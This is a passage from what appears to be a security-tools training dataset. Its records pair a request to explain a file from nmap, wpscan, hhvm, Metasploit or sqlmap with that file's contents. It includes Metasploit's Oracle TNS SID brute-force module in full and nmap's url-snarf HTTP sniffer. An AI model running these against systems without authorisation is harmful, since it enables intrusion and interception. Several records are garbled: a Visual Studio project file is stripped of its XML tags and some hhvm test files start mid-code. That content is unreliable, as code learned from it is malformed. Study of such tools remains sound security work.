18:59:23+0000\\n\"\n\"Last-Translator: stoneh1q \\n\"\n\"Language-Team: \\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"Plural-Forms: nplurals=2; plural=n != 1;\\n\"\n\"X-Generator: CSL v1.x\\n\"\n\"X-Poedit-Language: Dutch\\n\"\n\"X-Poedit-Country: NETHERLANDS\\n\"\n\"X-Poedit-SourceCharset: utf-8\\n\"\n\"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2;\\n\"\n\"X-Poedit-Basepath: ../\\n\"\n\"X-Poedit-Bookmarks: \\n\"\n\"X-Poedit-SearchPath-0: .\\n\"\n\"X-Textdomain-Support: yes\"\n\n#. translators: plugin header field 'Name'\n#: events-manager-multisite-email.php:0\n#@ stonehenge-ms-mailer\nmsgid \"Events Manager – MultiSite Email Settings (Add-on)\"\nmsgstr \"Events Manager – MultiSite E-mail Instellingen (Add-on)\"\n\n#. translators: plugin header field 'PluginURI'\n#: events-manager-multisite-email.php:0\n#@ stonehenge-ms-mailer\nmsgid \"https://profiles.wordpress.org/duisterdenhaag#content-plugins\"\nmsgstr \"https://profiles.wordpress.org/duisterdenhaag#content-plugins\"\n\n#. translators: plugin header field 'Description'\n#: events-manager-multisite-email.php:0\n#@ stonehenge-ms-mailer\nmsgid \"📤 Protect your branding on MultiSite: set Outgoing Email Settings for Events Manager PER BLOG. Let your Site Admins handle their own (private) credentials.\"\nmsgstr \"📤 Bescherm uw merknaam op MultiSite: stel uitgaande e-mailinstellingen binnen Events Manager in PER BLOG. Laat uw site-beheerders hun eigen (privé) gegevens beheren.\"\n\n#. translators: plugin header field 'Author'\n#: events-manager-multisite-email.php:0\n#@ stonehenge-ms-mailer\nmsgid \"Stonehenge Creations\"\nmsgstr \"Stonehenge Creations\"\n\n#. translators: plugin header field 'AuthorURI'\n#: events-manager-multisite-email.php:0\n#@ stonehenge-ms-mailer\nmsgid \"https://www.stonehengecreations.nl/\"\nmsgstr \"https://www.stonehengecreations.nl/\"\n\n#. translators: plugin header field 'Version'\n#: events-manager-multisite-email.php:0\n#@ stonehenge-ms-mailer\nmsgid \"3.0\"\nmsgstr \"3.0\"\n\n#: events-manager-multisite-email.php:60\n#@ stonehenge-ms-mailer\nmsgid \"From Name\"\nmsgstr \"Afzender Naam\"\n\n#: events-manager-multisite-email.php:67\n#@ stonehenge-ms-mailer\nmsgid \"From Email\"\nmsgstr \"Afzender E-mail\"\n\n#: events-manager-multisite-email.php:73\n#@ stonehenge-ms-mailer\nmsgid \"SMTP User Name\"\nmsgstr \"SMTP-gebruikersnaam\"\n\n#: events-manager-multisite-email.php:79\n#@ stonehenge-ms-mailer\nmsgid \"SMTP Password\"\nmsgstr \"SMTP-wachtwoord\"\n\n#: events-manager-multisite-email.php:85\n#@ stonehenge-ms-mailer\nmsgid \"SMTP Host\"\nmsgstr \"SMTP-server\"\n\n#: events-manager-multisite-email.php:91\n#@ stonehenge-ms-mailer\nmsgid \"SMTP Port\"\nmsgstr \"SMTP-poort\"\n\n#: events-manager-multisite-email.php:140\n#@ stonehenge-ms-mailer\nmsgid \"Blog Specific Mail Settings\"\nmsgstr \"Email-instellingen voor dit Blog\"\n\n#: events-manager-multisite-email.php:152\n#@ stonehenge-ms-mailer\nmsgid \"Global Mail Settings for Events Manager\"\nmsgstr \"Algemene instellingen voor Events Manager\"\n\n#: events-manager-multisite-email.php:153\n#@ stonehenge-ms-mailer\nmsgid \"Mail Sending Method\"\nmsgstr \"E-mailverzendwijze\"\n\n#: events-manager-multisite-email.php:154\n#@ stonehenge-ms-mailer\nmsgid \"Use SMTP Authentication\"\nmsgstr \"Gebruik SMTP-autorisatie\"\n\n#: events-manager-multisite-email.php:154\n#: events-manager-multisite-email.php:155\n#@ stonehenge-ms-mailer\nmsgid \"Yes\"\nmsgstr \"Ja\"\n\n#: events-manager-multisite-email.php:155\n#@ em-addon\nmsgid \"Send HTML Emails\"\nmsgstr \"Verstuur E-mail in HTML\"\n\n#: events-manager-multisite-email.php:156\n#@ em-addon\nmsgid \"Add <br> tags to Emails\"\nmsgstr \"Voeg <br> aan E-mails toe\"\n\n#: events-manager-multisite-email.php:156\n#@ stonehenge-ms-mailer\nmsgid \"No\"\nmsgstr \"Nee\"\n\n#: events-manager-multisite-email.php:157\n#@ stonehenge-ms-mailer\nmsgid \"These settings will override the Network Admin Panel for Events Manager.\"\nmsgstr \"Deze instellingen overschrijven die in het Netwerk Admin Paneel voor Events Manager.\"\n\n#: events-manager-multisite-email.php:157\n#@ stonehenge-ms-mailer\nmsgid \"SMTP with authentication is mandatory for this add-on to work properly.\"\nmsgstr \"SMTP met inlog-autorisatie is vereist om deze add-on correct te laten werken.\"\n\n#: events-manager-multisite-email.php:163\n#@ stonehenge-ms-mailer\nmsgid \"How this Add-On works.\"\nmsgstr \"Zo werkt deze Add-on.\"\n\n#: events-manager-multisite-email.php:164\n#@ stonehenge-ms-mailer\nmsgid \"

By default Events Manager uses the settings in the Network Admin Area for all outgoing emails on all your blogs. This means the Super Admin had to choose very generic settings to suit all your blogs. Using these default settings prevents you and your site owners from branding each blog/website individually. This extension modifies the EM_Mailer() Class of the original plugin, so you can choose your own settings per website; keeping the branding of the separate blogs truly separate. This is a great benefit if your customers want to maintain their own identity and settings and keep their STMP Password secret.

Adjusting these settings will only apply to outgoing Events Manager emails (confirmed/pending/cancelled/rejected).
All your other settings will remain untouched.

\"\nmsgstr \"

Standaard gebruikt Events Manager de instellingen in het Netwerk Admin Gedeelte voor uitgaande e-mails op alle blogs. Hierdoor moest er voor zeer algemene instellingen gekozen worden, waardoor de merk-scheiding per blog niet gemaakt kon worden. Deze uitbreiding past de EM_Mailer() Class van de originele plugin aan, zodat uw klanten hun eigen identiteit kunnen waarborgen en hun SMTP-wachtwoord geheim kunnen houden.

Het aanpassen van deze instellingen heeft alleen invloed op uitgaande e-mails van Events Manager (bevestigd/wachtend/geannuleerd/afgewezen).
Alle andere instellingen blijven ongewijzigd.

\"\n\n#: stonehenge/class-stonehenge-box.php:24\n#@ stonehenge\nmsgid \"Visit my website for more goodies!\"\nmsgstr \"Bezoek mijn website voor nog meer leuks!\"\n\n#: stonehenge/class-stonehenge-em.php:90\n#@ stonehenge-ms-mailer\nmsgid \"Check out my other creations.\"\nmsgstr \"Bekijk ook mijn andere creaties.\"\n\n#: events-manager-multisite-email.php:37\n#@ stonehenge-ms-mailer\nmsgid \"MS Mail Settings\"\nmsgstr \"MS Email Opties\"", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:60067"}} -{"instruction": "Explain the purpose and role of 'nmap/libz/contrib/vstudio/vc10/zlibstat.vcxproj' from the nmap security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "\n\n \n \n Debug\n Itanium\n \n \n Debug\n Win32\n \n \n Debug\n x64\n \n \n ReleaseWithoutAsm\n Itanium\n \n \n ReleaseWithoutAsm\n Win32\n \n \n ReleaseWithoutAsm\n x64\n \n \n Release\n Itanium\n \n \n Release\n Win32\n \n \n Release\n x64\n \n \n \n {745DEC58-EBB3-47A9-A9B8-4C6627C01BF8}\n \n \n \n StaticLibrary\n false\n \n \n StaticLibrary\n false\n \n \n StaticLibrary\n false\n \n \n StaticLibrary\n false\n \n \n StaticLibrary\n false\n \n \n StaticLibrary\n false\n \n \n StaticLibrary\n false\n \n \n StaticLibrary\n false\n \n \n StaticLibrary\n false\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n <_ProjectFileVersion>10.0.30128.1\n x86\\ZlibStat$(Configuration)\\\n x86\\ZlibStat$(Configuration)\\Tmp\\\n x86\\ZlibStat$(Configuration)\\\n x86\\ZlibStat$(Configuration)\\Tmp\\\n x86\\ZlibStat$(Configuration)\\\n x86\\ZlibStat$(Configuration)\\Tmp\\\n x64\\ZlibStat$(Configuration)\\\n x64\\ZlibStat$(Configuration)\\Tmp\\\n ia64\\ZlibStat$(Configuration)\\\n ia64\\ZlibStat$(Configuration)\\Tmp\\\n x64\\ZlibStat$(Configuration)\\\n x64\\ZlibStat$(Configuration)\\Tmp\\\n ia64\\ZlibStat$(Configuration)\\\n ia64\\ZlibStat$(Configuration)\\Tmp\\\n x64\\ZlibStat$(Configuration)\\\n x64\\ZlibStat$(Configuration)\\Tmp\\\n ia64\\ZlibStat$(Configuration)\\\n ia64\\ZlibStat$(Configuration)\\Tmp\\\n AllRules.ruleset\n \n \n AllRules.ruleset\n \n \n AllRules.ruleset\n \n \n AllRules.ruleset\n \n \n AllRules.ruleset\n \n \n AllRules.ruleset\n \n \n AllRules.ruleset\n \n \n AllRules.ruleset\n \n \n AllRules.ruleset\n \n \n \n \n \n Disabled\n %(AdditionalIncludeDirectories)\n WIN32;ZLIB_WINAPI;_CRT_NONSTDC_NO_DEPRECATE;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_WARNINGS;%(PreprocessorDefinitions)\n \n \n MultiThreadedDebug\n false\n $(IntDir)zlibstat.pch\n $(IntDir)\n $(IntDir)\n $(OutDir)\n Level3\n true\n OldStyle\n \n \n 0x040c\n \n \n /MACHINE:X86 /NODEFAULTLIB %(AdditionalOptions)\n $(OutDir)zlibstat.lib\n true\n \n \n \n \n OnlyExplicitInline\n ..\\..\\..;%(AdditionalIncludeDirectories)\n WIN32;ZLIB_WINAPI;_CRT_NONSTDC_NO_DEPRECATE;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_WARNINGS;%(PreprocessorDefinitions)\n true\n \n \n MultiThreaded\n false\n true\n $(IntDir)zlibstat.pch\n $(IntDir)\n $(IntDir)\n $(OutDir)\n Level3\n true\n \n \n 0x040c\n \n \n /MACHINE:X86 /NODEFAULTLIB %(AdditionalOptions)\n %(AdditionalDependencies)\n $(OutDir)zlibstat.lib\n true\n \n \n \n \n OnlyExplicitInline\n ..\\..\\..;%(AdditionalIncludeDirectories)\n WIN32;ZLIB_WINAPI;_CRT_NONSTDC_NO_DEPRECATE;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_WARNINGS;%(PreprocessorDefinitions)\n true\n \n \n MultiThreaded\n false\n true\n $(IntDir)zlibstat.pch\n $(IntDir)\n $(IntDir)\n $(OutDir)\n Level3\n true\n \n \n 0x040c\n \n \n /MACHINE:X86 /NODEFAULTLIB %(AdditionalOptions)\n $(OutDir)zlibstat.lib\n true\n \n \n \n \n X64\n \n \n Disabled\n ..\\..\\..;%(AdditionalIncludeDirectories)\n ZLIB_WINAPI;_CRT_NONSTDC_NO_DEPRECATE;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_WARNINGS;WIN64;%(PreprocessorDefinitions)\n \n \n MultiThreadedDebugDLL\n false\n $(IntDir)zlibstat.pch\n $(IntDir)\n $(IntDir)\n $(OutDir)\n Level3\n true\n OldStyle\n \n \n 0x040c\n \n \n /MACHINE:AMD64 /NODEFAULTLIB %(AdditionalOptions)\n $(OutDir)zlibstat.lib\n true\n \n \n \n \n Itanium\n \n \n Disabled\n ..\\..\\..;%(AdditionalIncludeDirectories)\n ZLIB_WINAPI;_CRT_NONSTDC_NO_DEPRECATE;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_WARNINGS;WIN64;%(PreprocessorDefinitions)\n \n \n MultiThreadedDebugDLL\n false\n $(IntDir)zlibstat.pch\n $(IntDir)\n $(IntDir)\n $(OutDir)\n Level3\n true\n OldStyle\n \n \n 0x040c\n \n \n /MACHINE:IA64 /NODEFAULTLIB %(AdditionalOptions)\n $(OutDir)zlibstat.lib\n true\n \n \n \n \n X64\n \n \n OnlyExplicitInline\n ..\\..\\..;%(AdditionalIncludeDirectories)\n ZLIB_WINAPI;_CRT_NONSTDC_NO_DEPRECATE;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_WARNINGS;WIN64;%(PreprocessorDefinitions)\n true\n \n \n MultiThreadedDLL\n false\n true\n $(IntDir)zlibstat.pch\n $(IntDir)\n $(IntDir)\n $(OutDir)\n Level3\n true\n \n \n 0x040c\n \n \n /MACHINE:AMD64 /NODEFAULTLIB %(AdditionalOptions)\n %(AdditionalDependencies)\n $(OutDir)zlibstat.lib\n true\n \n \n \n \n Itanium\n \n \n OnlyExplicitInline\n ..\\..\\..;%(AdditionalIncludeDirectories)\n ZLIB_WINAPI;_CRT_NONSTDC_NO_DEPRECATE;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_WARNINGS;WIN64;%(PreprocessorDefinitions)\n true\n \n \n MultiThreadedDLL\n false\n true\n $(IntDir)zlibstat.pch\n $(IntDir)\n $(IntDir)\n $(OutDir)\n Level3\n true\n \n \n 0x040c\n \n \n /MACHINE:IA64 /NODEFAULTLIB %(AdditionalOptions)\n $(OutDir)zlibstat.lib\n true\n \n \n \n \n X64\n \n \n OnlyExplicitInline\n ..\\..\\..;%(AdditionalIncludeDirectories)\n ZLIB_WINAPI;_CRT_NONSTDC_NO_DEPRECATE;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_WARNINGS;WIN64;%(PreprocessorDefinitions)\n true\n \n \n MultiThreadedDLL\n false\n true\n $(IntDir)zlibstat.pch\n $(IntDir)\n $(IntDir)\n $(OutDir)\n Level3\n true\n \n \n 0x040c\n \n \n /MACHINE:AMD64 /NODEFAULTLIB %(AdditionalOptions)\n $(OutDir)zlibstat.lib\n true\n \n \n \n \n Itanium\n \n \n OnlyExplicitInline\n ..\\..\\..;%(AdditionalIncludeDirectories)\n ZLIB_WINAPI;_CRT_NONSTDC_NO_DEPRECATE;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_WARNINGS;WIN64;%(PreprocessorDefinitions)\n true\n \n \n MultiThreadedDLL\n false\n true\n $(IntDir)zlibstat.pch\n $(IntDir)\n $(IntDir)\n $(OutDir)\n Level3\n true\n \n \n 0x040c\n \n \n /MACHINE:IA64 /NODEFAULTLIB %(AdditionalOptions)\n $(OutDir)zlibstat.lib\n true\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:48013"}} -{"instruction": "Explain the purpose and role of 'wpscan/spec/fixtures/dynamic_finders/plugin_version/bunnycdnbunnyapi/change_log/changelog.txt' from the wpscan security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "== CHANGELOG ==\n\n=1.0.0=\nInitial setup\nbunnyapi ::\nWP default upload paths\nsetup paths\nbunnyapi_callback_css\nbunnyapi_img_shortcode($atts)\nbunnyapi_dnsprefetch()\nload classes--\ninc:: bunnyapiFunctions\ninc-- bunnyapi_api_key(),bunnyapi_validate_apikey(),bunnyapi_clear_cache(),bunnyapi_delete_all(),bunnyapi_delete_files($files),bunnyapi_copy_all($folder),bunnyapi_force_push($folder),bunnyapi_upload_files($files),bunnyapi_is_gutenberg_active(),bunnyapi_setbunnyhost(),bunnyapi_currenturl(),bunnyapi_api_call(),bunnyhost(),bunnyapi_convert_year_month_url(),bunnyapi_check_https(),bunnyapi_is_200(),bunnyapi_full_validation_apikey()\ninc:: bunnyapiSettings\ninc-- getOptions(),getOption($option),validateSettings($data),cleanHostname($hostname),initialize(),bunnyapi_options_page(),js:{deleteall(),clearcache(),copyall(),pushall(),downloadall(),setHost()}\ninc:: bunnyapiMedia\ninc-- function($editor_id),bunnyapi_CustomMediaUI(),bunnyapi_media_urls(),bunnyapi_getLabel(),bunnyapi_getUrl(),bunnyapi_render(),__construct(),bunnyapi_submenu(),bunnyapi_adminBar(),bunnyapi_mediaButton(),bunnyapi_mediaButtonScript(),bunnyapi_indexButton(),bunnyapi_h2Button()\nBunnyAPI auto-detection hostname configuration \nBunnyAPI Settings screen: Update BunnyAPI Settings, Clear Cache, Download BunnyCDN Media, Push WP Media Library, Copy BunnyCDN Media, and Delete All BunnyCDN Media", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:59733"}} -{"instruction": "Explain the purpose and role of 'wpscan/spec/fixtures/dynamic_finders/plugin_version/pushnews/change_log/CHANGELOG.md' from the wpscan security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "CHANGELOG\n=========\n\n# 1.8.1\n- Saving \"send push\"/\"send email\" checks on custom post drafts\n\n# 1.8.0\n- Preventing Push/Email send while saving a draft post\n- Added support for custom post types\n\n# 1.7.3\n- Fixed date comparison (now using GMT)\n\n# 1.7.2\n- Fixed bad production API endpoint\n\n# 1.7.1\n- Fixed sending Push after editing a Post\n\n# 1.7.0\n- Added support for Wordpress 5\n- Updated API url\n- Allowing Push/Email sending after editing a Post\n- Enhanced Push/Email sending for scheduled Posts\n- Editing a scheduled Post will now show if it has scheduled Push/Email\n- Added Service Worker under \"/wp-content/plugins/pushnews/sdk/pushnews-sw.js.php\" (preparing for future native Widget Support)\n\n# 1.6.0\n- No longer pre-checking \"Send Push\" and \"Send Pushmail\" checkboxes\n\n# 1.5.4\n- Updated Push Notifications plugin behaviour, now sending featured image as SuperPush\n\n# 1.5.3\n- Fixed some issues regarding updated posts\n\n# 1.5.2\n- Fixed some issues regarding scheduled posts\n\n# 1.5.1\n- Fixed some issues regarding the automatic push notifications\n\n# 1.5.0\n- Added send automatic push mail feature on new post publish\n\n# 1.4.0\n\n- Added send automatic push notification feature on new post publish\n\n# 1.3.0\n\n- Simplified tag installation so it only requires the App ID\n\n# 1.2.0\n\n- Making sure all tag configuration elements are trimmed before printed\n\n# 1.1.0\n\n- Removed short array syntax to allow compatibility with PHP 5.3\n- Updated API domain\n\n# 1.0.0\n\n- Plugin approved by WordPress.org\n\n# 1.0.0-rc2\n\nAddressed WordPress.org Plugin reviewers' issues:\n\n- Incorrect Readme\n - Fixed Contributors list in readme.txt\n- Too Many Tags\n - Removed excessive tags from readme.txt\n- API Token\n - Removed public API_TOKEN constant\n- Your admin dashboard is an iframe\n - Replaced iframe with a link to Pushnews\n\n# 1.0.0-rc1\n\n- First Release Candidate", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:60835"}} -{"instruction": "Explain the purpose and role of 'nmap/scripts/url-snarf.nse' from the nmap security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "local io = require \"io\"\nlocal nmap = require \"nmap\"\nlocal os = require \"os\"\nlocal packet = require \"packet\"\nlocal stdnse = require \"stdnse\"\nlocal stringaux = require \"stringaux\"\nlocal table = require \"table\"\nlocal url = require \"url\"\n\ndescription=[[\nSniffs an interface for HTTP traffic and dumps any URLs, and their\noriginating IP address. Script output differs from other script as\nURLs are written to stdout directly. There is also an option to log\nthe results to file.\n\nThe script can be limited in time by using the timeout argument or run until a\nctrl+break is issued, by setting the timeout to 0.\n]]\n\n---\n-- @usage\n-- nmap --script url-snarf -e \n--\n-- @output\n-- | url-snarf:\n-- |_ Sniffed 169 URLs in 5 seconds\n--\n-- @args url-snarf.timeout runs the script until the timeout is reached.\n-- a timeout of 0s can be used to run until ctrl+break. (default: 30s)\n-- @args url-snarf.nostdout doesn't write any output to stdout while running\n-- @args url-snarf.outfile filename to which all discovered URLs are written\n-- @args url-snarf.interface interface on which to sniff (overrides -e)\n--\n\nauthor = \"Patrik Karlsson\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"safe\"}\n\n\nlocal arg_iface = nmap.get_interface() or stdnse.get_script_args(SCRIPT_NAME .. \".interface\")\n\nprerule = function()\n local has_interface = ( arg_iface ~= nil )\n if not nmap.is_privileged() then\n stdnse.verbose1(\"not running for lack of privileges.\")\n return false\n end\n if ( not(has_interface) ) then\n stdnse.verbose1(\"no network interface was supplied, aborting ...\")\n return false\n end\n return true\nend\n\n-- we should probably leverage code from the http library, but those functions\n-- are all declared local.\nlocal function get_url(data)\n\n local headers, body = table.unpack(stringaux.strsplit(\"\\r\\n\\r\\n\", data))\n if ( not(headers) ) then\n return\n end\n headers = stringaux.strsplit(\"\\r\\n\", headers)\n if ( not(headers) or 1 > #headers ) then\n return\n end\n local parsed = {}\n parsed.path = headers[1]:match(\"^[^s%s]+ ([^%s]*) HTTP/1%.%d$\")\n if ( not(parsed.path) ) then\n return\n end\n for _, v in ipairs(headers) do\n parsed.host, parsed.port = v:match(\"^Host: (.*):?(%d?)$\")\n if ( parsed.host ) then\n break\n end\n end\n if ( not(parsed.host) ) then\n return\n end\n parsed.port = ( #parsed.port ~= 0 ) and parsed.port or nil\n parsed.scheme = \"http\"\n local u = url.build(parsed)\n if ( not(u) ) then\n return\n end\n return u\nend\n\nlocal arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..\".timeout\"))\narg_timeout = arg_timeout or 30\nlocal arg_nostdout= stdnse.get_script_args(SCRIPT_NAME..\".nostdout\")\nlocal arg_outfile = stdnse.get_script_args(SCRIPT_NAME..\".outfile\")\n\nlocal function log_entry(src_ip, url)\n local outfd = io.open(arg_outfile, \"a\")\n if ( outfd ) then\n local entry = (\"%s\\t%s\\r\\n\"):format(src_ip, url)\n outfd:write(entry)\n outfd:close()\n end\nend\n\naction = function()\n local counter = 0\n\n if ( arg_outfile ) then\n local outfd = io.open(arg_outfile, \"a\")\n if ( not(outfd) ) then\n return (\"\\n ERROR: Failed to open outfile (%s)\"):format(arg_outfile)\n end\n outfd:close()\n end\n\n local socket = nmap.new_socket()\n socket:set_timeout(1000)\n socket:pcap_open(arg_iface, 1500, true, \"tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)\")\n\n local start, stop = os.time()\n repeat\n local status, len, _, l3 = socket:pcap_receive()\n if ( status ) then\n local p = packet.Packet:new( l3, #l3 )\n local pos = p.tcp_data_offset + 1\n local http_data = p.buf:sub(pos)\n\n local url = get_url(http_data)\n if ( url ) then\n counter = counter + 1\n if ( not(arg_nostdout) ) then\n print(p.ip_src, url)\n end\n if ( arg_outfile ) then\n log_entry(p.ip_src, url)\n end\n end\n end\n if ( arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start ) then\n stop = os.time()\n break\n end\n until(false)\n if ( counter > 0 ) then\n return (\"\\n Sniffed %d URLs in %d seconds\"):format(counter, stop - start)\n end\nend", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:49142"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/test/typecheck/xhp_attr_21.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "; // no error\n $derp = 'derp';\n ; // no error\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:11324"}} -{"instruction": "Explain the purpose and role of 'metasploit-framework/modules/auxiliary/admin/oracle/sid_brute.rb' from the metasploit-framework security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Auxiliary\n include Msf::Auxiliary::Report\n include Msf::Exploit::Remote::TNS\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Oracle TNS Listener SID Brute Forcer',\n 'Description' => %q{\n This module simply attempts to discover the protected SID.\n },\n 'Author' => [ 'MC' ],\n 'License' => MSF_LICENSE,\n 'References' =>\n [\n [ 'URL', 'https://www.metasploit.com/users/mc' ],\n [ 'URL' , 'http://www.red-database-security.com/scripts/sid.txt' ],\n ],\n 'DisclosureDate' => '2009-01-07'))\n\n register_options(\n [\n Opt::RPORT(1521),\n OptString.new('SLEEP', [ false, 'Sleep() amount between each request.', '1']),\n OptString.new('SIDFILE', [ false, 'The file that contains a list of sids.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'sid.txt')]),\n ])\n\n end\n\n def run\n\n s = datastore['SLEEP']\n list = datastore['SIDFILE']\n\n print_status(\"Starting brute force on #{rhost}, using sids from #{list}...\")\n\n fd = ::File.open(list, 'rb').each do |sid|\n login = \"(DESCRIPTION=(CONNECT_DATA=(SID=#{sid})(CID=(PROGRAM=)(HOST=MSF)(USER=)))(ADDRESS=(PROTOCOL=tcp)(HOST=#{rhost})(PORT=#{rport})))\"\n pkt = tns_packet(login)\n\n begin\n connect\n rescue ::Interrupt\n raise $!\n rescue => e\n print_error(e.to_s)\n disconnect\n return\n end\n\n sock.put(pkt)\n select(nil,nil,nil,s.to_i)\n res = sock.get_once\n disconnect\n\n if res and res.to_s !~ /ERROR_STACK/\n report_note(\n :host => rhost,\n :port => rport,\n :type => 'oracle_sid',\n :data => \"PORT=#{rport}, SID=#{sid.strip}\",\n :update => :unique_data\n )\n print_good(\"#{rhost}:#{rport} Found SID '#{sid.strip}'\")\n end\n\n end\n\n print_status(\"Done with brute force...\")\n fd.close\n\n end\nend", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:41706"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/slow/ext_array/array_replace.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": " \"red\",\n 0 => 2,\n 1 => 4\n ];\n $array2 = darray[\n 0 => \"a\",\n 1 => \"b\",\n \"color\" => \"green\",\n \"shape\" => \"trapezoid\",\n 2 => 4\n ];\n $result = array_replace($array1, varray[$array2]);\n var_dump($result);\n}\n\nfunction b() :mixed{\n $array1 = varray[];\n $array2 = darray[1 => \"data\"];\n $result = array_replace($array1, varray[$array2]);\n var_dump($result);\n}\n\nfunction c() :mixed{\n $array1 = varray[];\n $array2 = darray[1 => \"data\"];\n $result = array_merge($array1, $array2);\n var_dump($result);\n}\n\nfunction d() :mixed{\n $beginning = \"foo\";\n $end = darray[1 => \"bar\"];\n $result = array_replace(darray[0 => $beginning], varray[$end]);\n var_dump($result);\n}\n\nfunction e() :mixed{\n $v = 2;\n $a = darray[\"one\" => 1];\n $b = darray[\"two\" => $v];\n $r = array_replace($a, varray[$b]);\n var_dump($r);\n}\n\nfunction f() :mixed{\n $id = 100000000000022;\n $a = darray[$id => 1];\n $b = darray[$id => 2];\n $r = array_replace($a, varray[$b]);\n var_dump($r);\n}\n\nfunction g() :mixed{\n $a = darray[1 => 50, 5 => 60];\n $b = null;\n var_dump(array_replace($a, varray[$b]));\n}\n\n\n<<__EntryPoint>>\nfunction main_array_replace() :mixed{\na();\nb();\nc();\nd();\ne();\nf();\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:20594"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/slow/ext_xml/xmlreader-read-outer-xml.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": ">\nfunction main_xmlreader_read_outer_xml() :mixed{\n$xml = <<\n0\n12345\n\nEOF;\n$reader = new XMLReader;\n$reader->XML($xml);\nwhile($reader->read()) {\n var_dump($reader->readOuterXML());\n}\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:21633"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/quick/strrpos.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "> function main(): void {\nvar_dump(strrpos('123456789', '7', -3));\nvar_dump(strrpos('123456789', '7', -1));\nvar_dump(strrpos('123456789', '7'));\nvar_dump(strrpos('123456789', '7', 1));\nvar_dump(strrpos('123456789', '7', 3));\n\nvar_dump(strrpos('123456789', '78', -3));\nvar_dump(strrpos('123456789', '78', -1));\nvar_dump(strrpos('123456789', '78'));\nvar_dump(strrpos('123456789', '78', 1));\nvar_dump(strrpos('123456789', '78', 3));\n\nvar_dump(strripos('123456789', '7', -3));\nvar_dump(strripos('123456789', '7', -1));\nvar_dump(strripos('123456789', '7'));\nvar_dump(strripos('123456789', '7', 1));\nvar_dump(strripos('123456789', '7', 3));\n\nvar_dump(strripos('123456789', '78', -3));\nvar_dump(strripos('123456789', '78', -1));\nvar_dump(strripos('123456789', '78'));\nvar_dump(strripos('123456789', '78', 1));\nvar_dump(strripos('123456789', '78', 3));\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:17810"}} -{"instruction": "Explain the purpose and role of 'sqlmap/plugins/dbms/mimersql/__init__.py' from the sqlmap security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)\nSee the file 'LICENSE' for copying permission\n\"\"\"\n\nfrom lib.core.enums import DBMS\nfrom lib.core.settings import MIMERSQL_SYSTEM_DBS\nfrom lib.core.unescaper import unescaper\n\nfrom plugins.dbms.mimersql.enumeration import Enumeration\nfrom plugins.dbms.mimersql.filesystem import Filesystem\nfrom plugins.dbms.mimersql.fingerprint import Fingerprint\nfrom plugins.dbms.mimersql.syntax import Syntax\nfrom plugins.dbms.mimersql.takeover import Takeover\nfrom plugins.generic.misc import Miscellaneous\n\nclass MimerSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):\n \"\"\"\n This class defines MimerSQL methods\n 